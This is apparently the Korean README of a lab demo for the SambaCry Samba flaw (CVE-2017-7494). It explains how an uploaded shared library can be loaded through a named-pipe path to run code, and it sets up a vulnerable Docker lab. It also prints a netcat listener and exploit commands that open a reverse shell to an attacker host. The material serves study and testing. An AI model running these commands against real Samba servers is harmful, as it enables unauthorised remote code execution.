
SambaCry 설명 및 익스플로잇 데모
CVE-2017-7494/SambaCry는 인증된 사용자가 공유 라이브러리를 쓰기 가능한 폴더에 업로드하고, 업로드된 라이브러리를 사용하여 실행 공격을 수행할 수 있게 합니다.
SambaCry는 Samba가 named-pipe 요청을 처리하는 방식에서 발생하는 경로 검증(path-validation) 취약점입니다. 일반적으로 이러한 파이프는 프로그램이 파일과 유사한 채널을 통해 데이터를 읽고 쓰면서 서로 통신할 수 있게 하는 데 사용됩니다.
Samba가 알 수 없는 파이프 이름을 수신하면, 취약한 버전에서는 이를 동적으로 로드 가능한 모듈의 이름으로 처리할 수 있습니다.
이러한 모듈은 일반적으로 관리자가 설치한 합법적인 .so 라이브러리입니다.
이 취약점으로 인해 클라이언트는 일반 모듈 또는 파이프 이름 대신 절대 파일시스템 경로를 제공할 수 있습니다. Samba는 이 경로를 제대로 제한하지 않으며, 사실상 dlopen("/data/example.so", ...);을 수행할 수 있습니다.
공유 라이브러리를 로드하면 초기화 코드가 실행됩니다. 따라서 악성 .so 파일을 쓰기 가능한 위치에 업로드할 수 있는 공격자는 Samba 서비스가 이를 로드하도록 만들 수 있으며, 이로 인해 원격 코드 실행이 발생합니다.
https://github.com/user-attachments/assets/270c6725-708d-4e72-996a-b6c40e77f010
nc -lvnp 4444
python3 exploit.py --url //127.0.0.1/data --target 127.0.0.1 --port 1445 --user sambacry --password nosambanocry --lhost 172.26.242.223 --lport 4444 --remote-path /data/payload.so
이미 업로드된 페이로드를 트리거하려면:
python3 exploit.py --stages trigger --target 127.0.0.1 --port 1445 --user sambacry --password nosambanocry --remote-path /data/payload.so
사전 구성된 docker-compose.yml을 사용하여 취약한 실습 환경을 초기화합니다.
docker compose up -d
실습 환경은 Samba 4.5.9를 사용합니다. 이는 해당 취약점에 영향을 받는 버전입니다.
3.5.0 - 4.4.13 4.5.0 - 4.5.9 4.6.0 - 4.6.3